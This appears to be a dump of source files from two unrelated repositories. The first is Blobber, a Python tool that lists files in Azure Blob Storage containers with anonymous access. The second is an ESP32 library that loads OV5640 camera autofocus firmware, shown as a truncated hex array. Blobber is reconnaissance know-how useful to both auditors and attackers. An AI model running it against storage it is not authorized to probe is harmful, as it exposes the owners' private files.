<img src="https://img.shields.io/github/stars/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/forks/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
</div>
<br>
<h3> Blobber - Azure Blob Storage Service Enumeration Tool </h2>
<p> <b>Blobber</b> is a tool focused on enumerating files stored in an Azure Blob Storage Service with anonymous access enabled. </p>
<br>
<h3> Installation </h3>
<pre>
~$ apt install pipx
~$ pipx ensurepath
~$ pipx install git+https://github.com/oppsec/blobber.git
~$ blobber
</pre>
<br>
<h3> Usage examples </h3>
<pre>
blobber -u "https://target.com/uploads"
blobber -u "https://target.com/assets" -f '.pdf'
</pre>
<br>
<h3> Updating </h4>
<pre>
1. option: pipx install git+https://github.com/oppsec/blobber.git --force
2. option: pipx reinstall blobber --python /usr/bin/python
</pre>
<br>
<h3> Warning </h3>
<p> The developer is not responsible for any malicious use of this tool </p>
|
000pp/blobber
| 1,071 |
src/blobber/main.py
|
from rich.console import Console
console = Console()
import argparse
from blobber.ui.banner import get_banner
from blobber.modules.status import request
from blobber.modules.blobs import blob_handler
def initialize() -> None:
""" Initiates Blobber """
get_banner()
parser = argparse.ArgumentParser(
prog='Blobber',
description='Attacking Azure Blob Storage Service'
)
parser.add_argument('-u', help="Specify the target URL to be used", required=True)
parser.add_argument('-f', help="Filter by extension based on file name. Example: .pdf", required=False, default=None)
args = parser.parse_args()
url = args.u
file_filter = args.f
status(url, file_filter)
def status(url: str, file_filter: str) -> None:
"""Wrapper to check the status of the given URL."""
response = request(url)
if response:
console.print(f"[[yellow]![/]] Enumerating blobs...\n", highlight=False)
blob_handler(response.text, file_filter)
else:
pass
if __name__ == "__main__":
initialize()
|
000pp/blobber
| 1,809 |
src/blobber/modules/blobs.py
|
"""
This module aims to enumerate and get Name, Last-Modified, Content-Length and Content-Typpe blob value.
"""
from lxml import etree
from rich.console import Console
console = Console()
def blob_handler(content: str, file_filter: str) -> None:
try:
content_bytes = content.encode('utf-8')
root = etree.fromstring(content_bytes)
blobs = root.xpath(".//Blob")
if not blobs:
console.print("[[yellow]![/]] Nenhum blob encontrado.")
return
for blob in blobs:
url_element = blob.find("Url")
url = url_element.text.strip() if url_element is not None else "N/A"
file_name = blob.findtext(".//Name", default="N/A").strip()
last_modified = blob.findtext(".//Last-Modified", default="N/A").strip()
content_length = blob.findtext(".//Content-Length", default="N/A").strip()
content_type = blob.findtext(".//Content-Type", default="N/A").strip()
if file_filter == None:
console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False)
console.print("-" * 50, "\n")
if not file_filter == None:
if file_name.endswith(file_filter):
console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False)
console.print("-" * 50, "\n")
else:
pass
except Exception as error:
console.print(f"[[red]![/]] Erro ao processar blobs: {error}")
|
000pp/blobber
| 1,092 |
src/blobber/modules/status.py
|
"""
This module checks the status from the Azure Container passed
"""
from rich.console import Console
console = Console()
from requests import get
from urllib3 import disable_warnings
disable_warnings()
from blobber.modules.errors import error_handler
def request(url: str) -> tuple:
"""
Perform a GET request to the given URL, handle errors, and retry if necessary.
"""
url = f"{url}/?restype=container&comp=list"
try:
response = get(url, verify=False, timeout=10)
if response.ok:
console.print(f"[[green]+[/]] Connected successfully to [green]{url}[/]")
return response
# Handle errors
error_handler_response = error_handler(url, response)
if error_handler_response:
return error_handler_response
console.print(f"[[yellow]![/]] Request to [green]{url}[/] failed with status {response.status_code}", highlight=False)
return None
except Exception as error:
console.print(f"[[red]![/]] Error trying to connect to [green]{url}[/]: {error}")
return None
|
000pp/blobber
| 2,492 |
src/blobber/modules/errors.py
|
"""
This module handle the common errors when interacting with Azure Blobs
"""
from rich.console import Console
console = Console()
from requests import get
from urllib3 import disable_warnings
disable_warnings()
errors_list = {
"InvalidQueryParameterValue": "Value for one of the query parameters specified in the request URI is invalid.",
"FeatureVersionMismatch": "Trying to add 'x-ms-version: 2020-04-08' header on the request.",
"ResourceNotFound": "Invalid container or blob file specified in the URL.",
"AccountIsDisabled": "The specified account is disabled."
}
def error_handler(url: str, response) -> tuple:
"""
Handles errors in Azure Blob responses and retries if specific errors occur.
"""
try:
if isinstance(response, str):
response_text = response
else:
response_text = response.text if hasattr(response, 'text') else ""
for key, value in errors_list.items():
if key in response_text:
#console.print(f"[[yellow]![/yellow]] [red]{key}[/]: {value}")
if key == "FeatureVersionMismatch":
headers = {"x-ms-version": "2020-04-08"}
retry_response = get(url, verify=False, timeout=10, headers=headers)
if retry_response.ok:
console.print(f"[[green]+[/]] Retried with x-ms-version header and succeeded!")
return retry_response
else:
console.print(f"[[red]![/]] Retried but failed with status {retry_response.status_code}")
return retry_response
if key == "InvalidQueryParameterValue":
console.print(f"[[red]![/]] {value}")
return False
if key == "ResourceNotFound":
console.print(f"[[red]![/]] Invalid container or blob file specified in the URL.")
return False
if key == "AccountIsDisabled":
console.print(f"[[red]![/]] {value}")
return False
if not isinstance(response, str) and not response.ok:
console.print(f"[[yellow]![/]] Bad request to [green]{url}[/]")
return None
except Exception as error:
console.print(f"[[red]![/]] Unexpected error in error_handler: {error}")
return None
|
0015/ESP32-OV5640-AF
| 2,676 |
README.md
|
[](https://www.ardu-badge.com/OV5640%20Auto%20Focus%20for%20ESP32%20Camera)
# Enable OV5640's autofocus function on ESP32 AI-THINKER Board
This library contains the necessary firmware and source code to enable the OV5640 autofocus mode on the ESP32.
## Note
Each manufacturer of OV5640 has slightly different specifications. Please check with your product first. The product I used is Waveshare's OV5640. https://www.waveshare.com/wiki/OV5640_Camera_Board_(C)
## Installation
### ESP32 Core Library
You need to install the ESP32 core libraries.
The install instructions for your specific OS are here:
https://github.com/espressif/arduino-esp32
### Using Arduino Library Manager
From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...*
In Library Manager Window, search *"OV5640"* in the search form then select *"OV5640 Auto Focus for ESP32 Camera"*
Click *"Install"* button.
### Manual installation
Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"*
From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...*
Or use git:
```
cd ~/arduino/libraries/
git clone git@github.com:0015/ESP32-OV5640-AF.git
```
Then you should see the examples and be able to include the library in your projects with:
```
#include "ESP32_OV5640_AF.h"
```
## Usage
This works like a standard Arduino library. Here's a minimal example:
```
// Create an object from OV5640 class at the top of your sketch
OV5640 ov5640 = OV5640();
// To start OV5640, neet to pass the pointer of the esp camera sensor
sensor_t* sensor = esp_camera_sensor_get();
ov5640.start(sensor);
// Download Firmware for AF
if (ov5640.focusInit() == 0) {
Serial.println("OV5640_Focus_Init Successful!");
}
// Set Continuous AF MODE
if (ov5640.autoFocusMode() == 0) {
Serial.println("OV5640_Auto_Focus Successful!");
}
```
See the OV5640_Console_Test example for a more fully-featured example.
## Hardware Modification
To use the AF function of the OV5640 on the ESP32 AI-Thinker board, you need to connect 3.3v to the last 24th pin(AF-VCC).
I share what I've been working on. [You can also see how AF works.](https://youtu.be/922BWy3OOoQ)
<a href="https://youtu.be/922BWy3OOoQ">
<img width="800" src="https://github.com/0015/ESP32-OV5640-AF/blob/main/misc/main.jpg">
</a>
# Updates
- v0.1.1
- Only Added CONTINUOUS AUTOFOCUS Mode
# License
This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
|
0015/ESP32-OV5640-AF
| 28,448 |
src/ESP32_OV5640_cfg.h
|
/*
ESP32_OV5640_cfg.h - Library for OV5640 Auto Focus (ESP32 Camera)
Created by Eric Nam, December 08, 2021.
Released into the public domain.
*/
#define OV5640_CHIPID_HIGH 0x300a
#define OV5640_CHIPID_LOW 0x300b
#define OV5640_CMD_MAIN 0x3022
#define OV5640_CMD_ACK 0x3023
#define OV5640_CMD_PARA0 0x3024
#define OV5640_CMD_PARA1 0x3025
#define OV5640_CMD_PARA2 0x3026
#define OV5640_CMD_PARA3 0x3027
#define OV5640_CMD_PARA4 0x3028
#define OV5640_CMD_FW_STATUS 0x3029
#define AF_TRIG_SINGLE_AUTO_FOCUS 0x03
#define AF_CONTINUE_AUTO_FOCUS 0x04
#define FW_STATUS_S_FIRMWARE 0x7F
#define FW_STATUS_S_STARTUP 0x7E
#define FW_STATUS_S_IDLE 0x70
#define FW_STATUS_S_FOCUSED 0x10
#define FW_STATUS_S_ZONE_CONFIG 0x16
#define FW_STATUS_S_FOCUSING 0x00 //0x00 - 0X0F, 0x80 - 0X8F
struct sensor_reg {
uint16_t reg;
uint8_t val;
};
const unsigned char OV5640_AF_Config[] =
{
0x02, 0x0f, 0xd6, 0x02, 0x0a, 0x39, 0xc2, 0x01, 0x22, 0x22, 0x00, 0x02, 0x0f, 0xb2, 0xe5, 0x1f, //0x8000,
0x70, 0x72, 0xf5, 0x1e, 0xd2, 0x35, 0xff, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe4, 0xf6, 0x08, //0x8010,
0xf6, 0x0f, 0xbf, 0x34, 0xf2, 0x90, 0x0e, 0x93, 0xe4, 0x93, 0xff, 0xe5, 0x4b, 0xc3, 0x9f, 0x50, //0x8020,
0x04, 0x7f, 0x05, 0x80, 0x02, 0x7f, 0xfb, 0x78, 0xbd, 0xa6, 0x07, 0x12, 0x0f, 0x04, 0x40, 0x04, //0x8030,
0x7f, 0x03, 0x80, 0x02, 0x7f, 0x30, 0x78, 0xbc, 0xa6, 0x07, 0xe6, 0x18, 0xf6, 0x08, 0xe6, 0x78, //0x8040,
0xb9, 0xf6, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xbf, 0x76, 0x33, 0xe4, 0x08, 0xf6, 0x78, //0x8050,
0xb8, 0x76, 0x01, 0x75, 0x4a, 0x02, 0x78, 0xb6, 0xf6, 0x08, 0xf6, 0x74, 0xff, 0x78, 0xc1, 0xf6, //0x8060,
0x08, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0xbc, 0xe6, 0x75, 0xf0, 0x05, 0xa4, 0xf5, 0x4b, 0x12, 0x0a, //0x8070,
0xff, 0xc2, 0x37, 0x22, 0x78, 0xb8, 0xe6, 0xd3, 0x94, 0x00, 0x40, 0x02, 0x16, 0x22, 0xe5, 0x1f, //0x8080,
0xb4, 0x05, 0x23, 0xe4, 0xf5, 0x1f, 0xc2, 0x01, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x78, //0x8090,
0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x90, 0x30, 0x28, 0xf0, //0x80a0,
0x75, 0x1e, 0x10, 0xd2, 0x35, 0x22, 0xe5, 0x4b, 0x75, 0xf0, 0x05, 0x84, 0x78, 0xbc, 0xf6, 0x90, //0x80b0,
0x0e, 0x8c, 0xe4, 0x93, 0xff, 0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x78, //0x80c0,
0xbc, 0xe6, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0xef, 0x12, 0x0f, 0x0b, //0x80d0,
0xd3, 0x78, 0xb7, 0x96, 0xee, 0x18, 0x96, 0x40, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xb9, 0xf6, 0x78, //0x80e0,
0xb6, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x8c, 0xe4, 0x93, 0x12, 0x0f, 0x0b, 0xc3, 0x78, //0x80f0,
0xc2, 0x96, 0xee, 0x18, 0x96, 0x50, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xc1, 0xa6, //0x8100,
0x06, 0x08, 0xa6, 0x07, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xc3, 0x78, 0xc2, 0x96, 0xff, 0xee, //0x8110,
0x18, 0x96, 0x78, 0xc3, 0xf6, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x95, 0xe4, 0x18, 0x12, 0x0e, 0xe9, //0x8120,
0x40, 0x02, 0xd2, 0x37, 0x78, 0xbc, 0xe6, 0x08, 0x26, 0x08, 0xf6, 0xe5, 0x1f, 0x64, 0x01, 0x70, //0x8130,
0x4a, 0xe6, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xdf, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, 0x39, 0x12, //0x8140,
0x0f, 0x02, 0x40, 0x04, 0x7f, 0xfe, 0x80, 0x02, 0x7f, 0x02, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, //0x8150,
0xe6, 0x24, 0x03, 0x78, 0xbf, 0xf6, 0x78, 0xb9, 0xe6, 0x24, 0xfd, 0x78, 0xc0, 0xf6, 0x12, 0x0f, //0x8160,
0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8170,
0x07, 0x75, 0x1f, 0x02, 0x78, 0xb8, 0x76, 0x01, 0x02, 0x02, 0x4a, 0xe5, 0x1f, 0x64, 0x02, 0x60, //0x8180,
0x03, 0x02, 0x02, 0x2a, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x08, //0x8190,
0x12, 0x0e, 0xda, 0x50, 0x03, 0x02, 0x02, 0x28, 0x12, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xff, 0x80, //0x81a0,
0x02, 0x7f, 0x01, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, 0xe6, 0x04, 0x78, 0xbf, 0xf6, 0x78, 0xb9, //0x81b0,
0xe6, 0x14, 0x78, 0xc0, 0xf6, 0x18, 0x12, 0x0f, 0x04, 0x40, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, //0x81c0,
0x00, 0x78, 0xbf, 0xa6, 0x07, 0xd3, 0x08, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x40, 0x04, 0xe6, 0xff, //0x81d0,
0x80, 0x02, 0x7f, 0x00, 0x78, 0xc0, 0xa6, 0x07, 0xc3, 0x18, 0xe6, 0x64, 0x80, 0x94, 0xb3, 0x50, //0x81e0,
0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xbf, 0xa6, 0x07, 0xc3, 0x08, 0xe6, 0x64, 0x80, //0x81f0,
0x94, 0xb3, 0x50, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xc0, 0xa6, 0x07, 0x12, 0x0f, //0x8200,
0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8210,
0x07, 0x75, 0x1f, 0x03, 0x78, 0xb8, 0x76, 0x01, 0x80, 0x20, 0xe5, 0x1f, 0x64, 0x03, 0x70, 0x26, //0x8220,
0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, //0x8230,
0x09, 0x78, 0xb9, 0xe6, 0x78, 0xbe, 0xf6, 0x75, 0x1f, 0x04, 0x78, 0xbe, 0xe6, 0x75, 0xf0, 0x05, //0x8240,
0xa4, 0xf5, 0x4b, 0x02, 0x0a, 0xff, 0xe5, 0x1f, 0xb4, 0x04, 0x10, 0x90, 0x0e, 0x94, 0xe4, 0x78, //0x8250,
0xc3, 0x12, 0x0e, 0xe9, 0x40, 0x02, 0xd2, 0x37, 0x75, 0x1f, 0x05, 0x22, 0x30, 0x01, 0x03, 0x02, //0x8260,
0x04, 0xc0, 0x30, 0x02, 0x03, 0x02, 0x04, 0xc0, 0x90, 0x51, 0xa5, 0xe0, 0x78, 0x93, 0xf6, 0xa3, //0x8270,
0xe0, 0x08, 0xf6, 0xa3, 0xe0, 0x08, 0xf6, 0xe5, 0x1f, 0x70, 0x3c, 0x75, 0x1e, 0x20, 0xd2, 0x35, //0x8280,
0x12, 0x0c, 0x7a, 0x78, 0x7e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xa6, 0x09, 0x18, 0x76, //0x8290,
0x01, 0x12, 0x0c, 0x5b, 0x78, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xe6, 0x78, 0x6e, //0x82a0,
0xf6, 0x75, 0x1f, 0x01, 0x78, 0x93, 0xe6, 0x78, 0x90, 0xf6, 0x78, 0x94, 0xe6, 0x78, 0x91, 0xf6, //0x82b0,
0x78, 0x95, 0xe6, 0x78, 0x92, 0xf6, 0x22, 0x79, 0x90, 0xe7, 0xd3, 0x78, 0x93, 0x96, 0x40, 0x05, //0x82c0,
0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x93, 0xe7, 0x78, 0x90, 0x96, 0xff, 0x78, 0x88, 0x76, //0x82d0,
0x00, 0x08, 0xa6, 0x07, 0x79, 0x91, 0xe7, 0xd3, 0x78, 0x94, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, //0x82e0,
0x80, 0x08, 0xc3, 0x79, 0x94, 0xe7, 0x78, 0x91, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x79, 0x92, 0xe7, //0x82f0,
0xd3, 0x78, 0x95, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x95, 0xe7, 0x78, //0x8300,
0x92, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x12, 0x0c, 0x5b, 0x78, 0x8a, 0xe6, 0x25, 0xe0, 0x24, 0x4e, //0x8310,
0xf8, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8a, 0xe6, 0x24, 0x6e, 0xf8, 0xa6, 0x09, 0x78, 0x8a, //0x8320,
0xe6, 0x24, 0x01, 0xff, 0xe4, 0x33, 0xfe, 0xd3, 0xef, 0x94, 0x0f, 0xee, 0x64, 0x80, 0x94, 0x80, //0x8330,
0x40, 0x04, 0x7f, 0x00, 0x80, 0x05, 0x78, 0x8a, 0xe6, 0x04, 0xff, 0x78, 0x8a, 0xa6, 0x07, 0xe5, //0x8340,
0x1f, 0xb4, 0x01, 0x0a, 0xe6, 0x60, 0x03, 0x02, 0x04, 0xc0, 0x75, 0x1f, 0x02, 0x22, 0x12, 0x0c, //0x8350,
0x7a, 0x78, 0x80, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x12, 0x0c, 0x7a, 0x78, 0x82, 0xa6, 0x06, 0x08, //0x8360,
0xa6, 0x07, 0x78, 0x6e, 0xe6, 0x78, 0x8c, 0xf6, 0x78, 0x6e, 0xe6, 0x78, 0x8d, 0xf6, 0x7f, 0x01, //0x8370,
0xef, 0x25, 0xe0, 0x24, 0x4f, 0xf9, 0xc3, 0x78, 0x81, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x50, //0x8380,
0x0a, 0x12, 0x0c, 0x82, 0x78, 0x80, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, //0x8390,
0x8c, 0xe6, 0xc3, 0x97, 0x50, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8c, 0xf6, 0xef, 0x25, //0x83a0,
0xe0, 0x24, 0x4f, 0xf9, 0xd3, 0x78, 0x83, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x40, 0x0a, 0x12, //0x83b0,
0x0c, 0x82, 0x78, 0x82, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, 0x8d, 0xe6, //0x83c0,
0xd3, 0x97, 0x40, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8d, 0xf6, 0x0f, 0xef, 0x64, 0x10, //0x83d0,
0x70, 0x9e, 0xc3, 0x79, 0x81, 0xe7, 0x78, 0x83, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0x78, 0x84, //0x83e0,
0xf6, 0x08, 0xa6, 0x07, 0xc3, 0x79, 0x8c, 0xe7, 0x78, 0x8d, 0x96, 0x08, 0xf6, 0xd3, 0x79, 0x81, //0x83f0,
0xe7, 0x78, 0x7f, 0x96, 0x19, 0xe7, 0x18, 0x96, 0x40, 0x05, 0x09, 0xe7, 0x08, 0x80, 0x06, 0xc3, //0x8400,
0x79, 0x7f, 0xe7, 0x78, 0x81, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0xfe, 0x78, 0x86, 0xa6, 0x06, //0x8410,
0x08, 0xa6, 0x07, 0x79, 0x8c, 0xe7, 0xd3, 0x78, 0x8b, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, //0x8420,
0x08, 0xc3, 0x79, 0x8b, 0xe7, 0x78, 0x8c, 0x96, 0xff, 0x78, 0x8f, 0xa6, 0x07, 0xe5, 0x1f, 0x64, //0x8430,
0x02, 0x70, 0x69, 0x90, 0x0e, 0x91, 0x93, 0xff, 0x18, 0xe6, 0xc3, 0x9f, 0x50, 0x72, 0x12, 0x0c, //0x8440,
0x4a, 0x12, 0x0c, 0x2f, 0x90, 0x0e, 0x8e, 0x12, 0x0c, 0x38, 0x78, 0x80, 0x12, 0x0c, 0x6b, 0x7b, //0x8450,
0x04, 0x12, 0x0c, 0x1d, 0xc3, 0x12, 0x06, 0x45, 0x50, 0x56, 0x90, 0x0e, 0x92, 0xe4, 0x93, 0xff, //0x8460,
0x78, 0x8f, 0xe6, 0x9f, 0x40, 0x02, 0x80, 0x11, 0x90, 0x0e, 0x90, 0xe4, 0x93, 0xff, 0xd3, 0x78, //0x8470,
0x89, 0xe6, 0x9f, 0x18, 0xe6, 0x94, 0x00, 0x40, 0x03, 0x75, 0x1f, 0x05, 0x12, 0x0c, 0x4a, 0x12, //0x8480,
0x0c, 0x2f, 0x90, 0x0e, 0x8f, 0x12, 0x0c, 0x38, 0x78, 0x7e, 0x12, 0x0c, 0x6b, 0x7b, 0x40, 0x12, //0x8490,
0x0c, 0x1d, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x18, 0x75, 0x1f, 0x05, 0x22, 0xe5, 0x1f, 0xb4, 0x05, //0x84a0,
0x0f, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0xd2, 0x36, //0x84b0,
0x22, 0xef, 0x8d, 0xf0, 0xa4, 0xa8, 0xf0, 0xcf, 0x8c, 0xf0, 0xa4, 0x28, 0xce, 0x8d, 0xf0, 0xa4, //0x84c0,
0x2e, 0xfe, 0x22, 0xbc, 0x00, 0x0b, 0xbe, 0x00, 0x29, 0xef, 0x8d, 0xf0, 0x84, 0xff, 0xad, 0xf0, //0x84d0,
0x22, 0xe4, 0xcc, 0xf8, 0x75, 0xf0, 0x08, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xec, 0x33, 0xfc, //0x84e0,
0xee, 0x9d, 0xec, 0x98, 0x40, 0x05, 0xfc, 0xee, 0x9d, 0xfe, 0x0f, 0xd5, 0xf0, 0xe9, 0xe4, 0xce, //0x84f0,
0xfd, 0x22, 0xed, 0xf8, 0xf5, 0xf0, 0xee, 0x84, 0x20, 0xd2, 0x1c, 0xfe, 0xad, 0xf0, 0x75, 0xf0, //0x8500,
0x08, 0xef, 0x2f, 0xff, 0xed, 0x33, 0xfd, 0x40, 0x07, 0x98, 0x50, 0x06, 0xd5, 0xf0, 0xf2, 0x22, //0x8510,
0xc3, 0x98, 0xfd, 0x0f, 0xd5, 0xf0, 0xea, 0x22, 0xe8, 0x8f, 0xf0, 0xa4, 0xcc, 0x8b, 0xf0, 0xa4, //0x8520,
0x2c, 0xfc, 0xe9, 0x8e, 0xf0, 0xa4, 0x2c, 0xfc, 0x8a, 0xf0, 0xed, 0xa4, 0x2c, 0xfc, 0xea, 0x8e, //0x8530,
0xf0, 0xa4, 0xcd, 0xa8, 0xf0, 0x8b, 0xf0, 0xa4, 0x2d, 0xcc, 0x38, 0x25, 0xf0, 0xfd, 0xe9, 0x8f, //0x8540,
0xf0, 0xa4, 0x2c, 0xcd, 0x35, 0xf0, 0xfc, 0xeb, 0x8e, 0xf0, 0xa4, 0xfe, 0xa9, 0xf0, 0xeb, 0x8f, //0x8550,
0xf0, 0xa4, 0xcf, 0xc5, 0xf0, 0x2e, 0xcd, 0x39, 0xfe, 0xe4, 0x3c, 0xfc, 0xea, 0xa4, 0x2d, 0xce, //0x8560,
0x35, 0xf0, 0xfd, 0xe4, 0x3c, 0xfc, 0x22, 0x75, 0xf0, 0x08, 0x75, 0x82, 0x00, 0xef, 0x2f, 0xff, //0x8570,
0xee, 0x33, 0xfe, 0xcd, 0x33, 0xcd, 0xcc, 0x33, 0xcc, 0xc5, 0x82, 0x33, 0xc5, 0x82, 0x9b, 0xed, //0x8580,
0x9a, 0xec, 0x99, 0xe5, 0x82, 0x98, 0x40, 0x0c, 0xf5, 0x82, 0xee, 0x9b, 0xfe, 0xed, 0x9a, 0xfd, //0x8590,
0xec, 0x99, 0xfc, 0x0f, 0xd5, 0xf0, 0xd6, 0xe4, 0xce, 0xfb, 0xe4, 0xcd, 0xfa, 0xe4, 0xcc, 0xf9, //0x85a0,
0xa8, 0x82, 0x22, 0xb8, 0x00, 0xc1, 0xb9, 0x00, 0x59, 0xba, 0x00, 0x2d, 0xec, 0x8b, 0xf0, 0x84, //0x85b0,
0xcf, 0xce, 0xcd, 0xfc, 0xe5, 0xf0, 0xcb, 0xf9, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, //0x85c0,
0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xeb, 0x33, 0xfb, 0x10, 0xd7, 0x03, 0x99, 0x40, 0x04, 0xeb, //0x85d0,
0x99, 0xfb, 0x0f, 0xd8, 0xe5, 0xe4, 0xf9, 0xfa, 0x22, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, //0x85e0,
0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xc9, 0x33, 0xc9, 0x10, 0xd7, 0x05, 0x9b, 0xe9, 0x9a, //0x85f0,
0x40, 0x07, 0xec, 0x9b, 0xfc, 0xe9, 0x9a, 0xf9, 0x0f, 0xd8, 0xe0, 0xe4, 0xc9, 0xfa, 0xe4, 0xcc, //0x8600,
0xfb, 0x22, 0x75, 0xf0, 0x10, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xcc, 0x33, //0x8610,
0xcc, 0xc8, 0x33, 0xc8, 0x10, 0xd7, 0x07, 0x9b, 0xec, 0x9a, 0xe8, 0x99, 0x40, 0x0a, 0xed, 0x9b, //0x8620,
0xfd, 0xec, 0x9a, 0xfc, 0xe8, 0x99, 0xf8, 0x0f, 0xd5, 0xf0, 0xda, 0xe4, 0xcd, 0xfb, 0xe4, 0xcc, //0x8630,
0xfa, 0xe4, 0xc8, 0xf9, 0x22, 0xeb, 0x9f, 0xf5, 0xf0, 0xea, 0x9e, 0x42, 0xf0, 0xe9, 0x9d, 0x42, //0x8640,
0xf0, 0xe8, 0x9c, 0x45, 0xf0, 0x22, 0xe8, 0x60, 0x0f, 0xec, 0xc3, 0x13, 0xfc, 0xed, 0x13, 0xfd, //0x8650,
0xee, 0x13, 0xfe, 0xef, 0x13, 0xff, 0xd8, 0xf1, 0x22, 0xe8, 0x60, 0x0f, 0xef, 0xc3, 0x33, 0xff, //0x8660,
0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xd8, 0xf1, 0x22, 0xe4, 0x93, 0xfc, 0x74, //0x8670,
0x01, 0x93, 0xfd, 0x74, 0x02, 0x93, 0xfe, 0x74, 0x03, 0x93, 0xff, 0x22, 0xe6, 0xfb, 0x08, 0xe6, //0x8680,
0xf9, 0x08, 0xe6, 0xfa, 0x08, 0xe6, 0xcb, 0xf8, 0x22, 0xec, 0xf6, 0x08, 0xed, 0xf6, 0x08, 0xee, //0x8690,
0xf6, 0x08, 0xef, 0xf6, 0x22, 0xa4, 0x25, 0x82, 0xf5, 0x82, 0xe5, 0xf0, 0x35, 0x83, 0xf5, 0x83, //0x86a0,
0x22, 0xd0, 0x83, 0xd0, 0x82, 0xf8, 0xe4, 0x93, 0x70, 0x12, 0x74, 0x01, 0x93, 0x70, 0x0d, 0xa3, //0x86b0,
0xa3, 0x93, 0xf8, 0x74, 0x01, 0x93, 0xf5, 0x82, 0x88, 0x83, 0xe4, 0x73, 0x74, 0x02, 0x93, 0x68, //0x86c0,
0x60, 0xef, 0xa3, 0xa3, 0xa3, 0x80, 0xdf, 0x90, 0x38, 0x04, 0x78, 0x52, 0x12, 0x0b, 0xfd, 0x90, //0x86d0,
0x38, 0x00, 0xe0, 0xfe, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x10, //0x86e0,
0x12, 0x0b, 0x92, 0x90, 0x38, 0x06, 0x78, 0x54, 0x12, 0x0b, 0xfd, 0x90, 0x38, 0x02, 0xe0, 0xfe, //0x86f0,
